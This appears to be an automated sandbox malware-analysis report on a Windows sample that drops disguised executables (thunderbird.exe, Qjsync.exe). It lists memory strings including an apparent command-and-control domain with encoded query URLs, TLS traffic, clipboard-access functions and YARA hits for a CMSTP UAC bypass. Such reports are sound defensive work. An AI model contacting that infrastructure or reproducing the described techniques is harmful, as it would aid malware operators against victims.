Source: thunderbird.exe, 00000003.00000000.2157387676.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000003.00000002.2265907816.0000000000A3C000.00000002.00000001.01000000.00000008.sdmp, thunderbird.exe, 00000004.00000002.2422053504.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp, thunderbird.exe, 00000004.00000000.2264998522.0000000000A3C000.00000002.00000001.01000000.00000016.sdmp String found in binary or memory: http://www.netscape.com/newsref/std/cookie_spec.html
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000000.2594143900.00000001401E0000.00000002.00000001.01000000.00000027.sdmp String found in binary or memory: http://www.softwareok.com
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3012310782.00000001401F4000.00000002.00000001.01000000.00000027.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.softwareok.com/?Download=Find.Same.Images.OK
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3012310782.00000001401F4000.00000002.00000001.01000000.00000027.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.softwareok.com/?Freeware/Find.Same.Images.OK
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3012310782.00000001401F4000.00000002.00000001.01000000.00000027.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.softwareok.com/?Freeware/Find.Same.Images.OK/History
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3012310782.00000001401F4000.00000002.00000001.01000000.00000027.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.softwareok.com/?seite=faq-Find.Same.Images.OK&faq=0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000000.2594143900.00000001401E0000.00000002.00000001.01000000.00000027.sdmp String found in binary or memory: http://www.softwareok.de
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3012310782.00000001401F4000.00000002.00000001.01000000.00000027.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.softwareok.de/?Download=Find.Same.Images.OK
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3012310782.00000001401F4000.00000002.00000001.01000000.00000027.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.softwareok.de/?Freeware/Find.Same.Images.OK
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3012310782.00000001401F4000.00000002.00000001.01000000.00000027.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.softwareok.de/?Freeware/Find.Same.Images.OK/History
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.3012310782.00000001401F4000.00000002.00000001.01000000.00000027.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.softwareok.de/?seite=faq-Find.Same.Images.OK&faq=0
Source: Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.surfok.de/
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.symauth.com/cps0(
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.symauth.com/rpa00
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.vmware.com/0
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.vmware.com/0/
Source: Qjsync.exe, 0000000C.00000002.2990103682.000000000047C000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2800043144.00000000004E2000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990103682.0000000000449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website/
Source: Qjsync.exe, 0000000C.00000003.2800043144.00000000004E2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website/(O
Source: Qjsync.exe, 0000000C.00000002.2990103682.000000000047C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website/A-$
Source: Qjsync.exe, 0000000C.00000002.2990103682.0000000000449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website/F
Source: Qjsync.exe, 0000000C.00000002.2990103682.0000000000449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website/J
Source: Qjsync.exe, 0000000C.00000002.2990103682.0000000000449000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website/N
Source: Qjsync.exe, 0000000C.00000002.2990103682.000000000047C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website/Q-
Source: Qjsync.exe, 0000000C.00000003.2800149190.0000000000463000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990467872.000000000084A000.00000004.00001000.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2800204584.00000000004AC000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990467872.0000000000831000.00000004.00001000.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2778410174.0000000000482000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2943182905.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2943745386.00000000004F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website/courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%2Fsj
Source: Qjsync.exe, 0000000C.00000003.2923611263.00000000004F7000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2967722836.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990394887.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2989853396.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2943182905.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2821255012.00000000004FD000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2903508032.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2943745386.00000000004F4000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2884218408.00000000004FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website:443
Source: Qjsync.exe, 0000000C.00000002.2990103682.0000000000497000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website:443/courtney_ryley_cooper_biography.html?jobjbyy11iib4wpr=h3593GdmUsLiBsC%
Source: Qjsync.exe, 0000000C.00000003.2923611263.00000000004F7000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2967722836.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990394887.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2989853396.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2943182905.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2903508032.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2943745386.00000000004F4000.00000004.00000020.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000003.2884218408.00000000004FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website:443H
Source: Qjsync.exe, 0000000C.00000003.2967722836.00000000004FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://amenstilo.website:443~
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/cps0%
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/rpa0
Source: Qjsync.exe, 0000000C.00000002.3011558099.0000000007FDF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: Qjsync.exe, 0000000C.00000002.3011558099.0000000007FDF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: thunderbird.exe, 00000003.00000002.2266985552.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, thunderbird.exe, 00000004.00000002.2423574647.0000000003C5F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Source: cmd.exe, 00000008.00000002.2660899213.000000000517C000.00000004.00000800.00020000.00000000.sdmp, Qjsync.exe, 0000000C.00000002.2990978047.000000000275C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.globalsign.com/repository/0
Source: Qjsync.exe, 0000000C.00000002.3011558099.0000000007FD8000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: Qjsync.exe, 0000000C.00000002.3011558099.0000000007FDF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: Qjsync.exe, 0000000C.00000002.3011558099.0000000007FDF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: Qjsync.exe, 0000000C.00000002.3011558099.0000000007FDF000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: unknown Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49835 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49847 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49856 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49861 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49866 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49872 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49883 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.149:443 -> 192.168.2.6:49981 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_100250E1 OpenClipboard,EmptyClipboard,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,WideCharToMultiByte,SetClipboardData,SetClipboardData,SetClipboardData,SetClipboardData,CloseClipboard, 2_2_100250E1
Contains functionality to modify clipboard data
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_100250E1 OpenClipboard,EmptyClipboard,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,WideCharToMultiByte,SetClipboardData,SetClipboardData,SetClipboardData,SetClipboardData,CloseClipboard, 2_2_100250E1
Contains functionality to read the clipboard data
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10024BC2 __ehhandler$?enable_segment@_Helper@_Concurrent_vector_base_v4@details@Concurrency@@SAIAAV234@II@Z,__EH_prolog3,OpenClipboard,?BeginUndoAction@CellBuffer@@QAEXXZ,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,GetClipboardData,GlobalSize,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,GetClipboardData,GlobalSize,MultiByteToWideChar,CloseClipboard,?EndUndoAction@CellBuffer@@QAEXXZ, 2_2_10024BC2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 14.2.cmd.exe.5422acd.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.Qjsync.exe.27a86ed.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.Qjsync.exe.27a7aed.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 20.2.cmd.exe.579eacd.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 20.2.cmd.exe.5759a00.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.Qjsync.exe.2762a20.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.cmd.exe.5182a00.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.Qjsync.exe.26b1a20.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 14.2.cmd.exe.34607f8.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 14.2.cmd.exe.53dda00.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.cmd.exe.51c86cd.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 14.2.cmd.exe.54236cd.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 8.2.cmd.exe.51c7acd.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 20.2.cmd.exe.579f6cd.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.Qjsync.exe.26f76ed.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 22.2.Qjsync.exe.26f6aed.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Deletes files inside the Windows folder
Source: C:\Users\user\Desktop\UolJwovI8c.exe File deleted: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005C001D 0_2_005C001D
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005B41EA 0_2_005B41EA
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005962AA 0_2_005962AA
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005BC332 0_2_005BC332
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005C03D5 0_2_005C03D5
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005CA560 0_2_005CA560
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005C07AA 0_2_005C07AA
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_0059A8F1 0_2_0059A8F1
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005CAA0E 0_2_005CAA0E
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005C0B6F 0_2_005C0B6F
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005BFB89 0_2_005BFB89
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005C2C18 0_2_005C2C18
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005C2E47 0_2_005C2E47
Source: C:\Users\user\Desktop\UolJwovI8c.exe Code function: 0_2_005CEE7C 0_2_005CEE7C
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0054001D 2_2_0054001D
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_005341EA 2_2_005341EA
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_005162AA 2_2_005162AA
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0053C332 2_2_0053C332
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_005403D5 2_2_005403D5
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0054A560 2_2_0054A560
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_005407AA 2_2_005407AA
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0051A8F1 2_2_0051A8F1
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0054AA0E 2_2_0054AA0E
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00540B6F 2_2_00540B6F
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0053FB89 2_2_0053FB89
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00542C18 2_2_00542C18
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_00542E47 2_2_00542E47
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_0054EE7C 2_2_0054EE7C
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_100650D5 2_2_100650D5
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_1007321C 2_2_1007321C
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10067340 2_2_10067340
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_100655AA 2_2_100655AA
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_1006D6C1 2_2_1006D6C1
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10073760 2_2_10073760
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_1004D899 2_2_1004D899
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_100358D6 2_2_100358D6
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_1006597E 2_2_1006597E
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10039CFF 2_2_10039CFF
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10051D13 2_2_10051D13
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10025D59 2_2_10025D59
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10065D8A 2_2_10065D8A
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_1005DDD0 2_2_1005DDD0
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10073E58 2_2_10073E58
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10041FD2 2_2_10041FD2
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_100661AA 2_2_100661AA
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10025D59 2_2_10025D59
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10062CC0 2_2_10062CC0
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10072CD8 2_2_10072CD8
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_1002AF28 2_2_1002AF28
Source: C:\Windows\Temp\{0F54F10E-6020-4B59-907E-73F350F6C1A3}\.cr\UolJwovI8c.exe Code function: 2_2_10074F8D 2_2_10074F8D
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Code function: 3_2_00A1C995 3_2_00A1C995
Source: C:\Windows\Temp\{F45F8542-2D1F-4FB1-B66C-A4C0420B90F3}\.ba\thunderbird.exe Code function: 3_2_00A1867F 3_2_00A1867F
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Code function: 4_2_600E2098 4_2_600E2098
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Code function: 4_2_60105947 4_2_60105947
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Code function: 4_2_600DB1B5 4_2_600DB1B5
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Code function: 4_2_600E0AB5 4_2_600E0AB5
Source: C:\Users\user\AppData\Roaming\GZManage\thunderbird.exe Code function: 4_2_60118685 4_2_60118685
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\Qjsync.exe B22BF1210B5FD173A210EBFA9092390AA0513C41E1914CBE161EB547F049EF91
Found potential string decryption / allocating functions
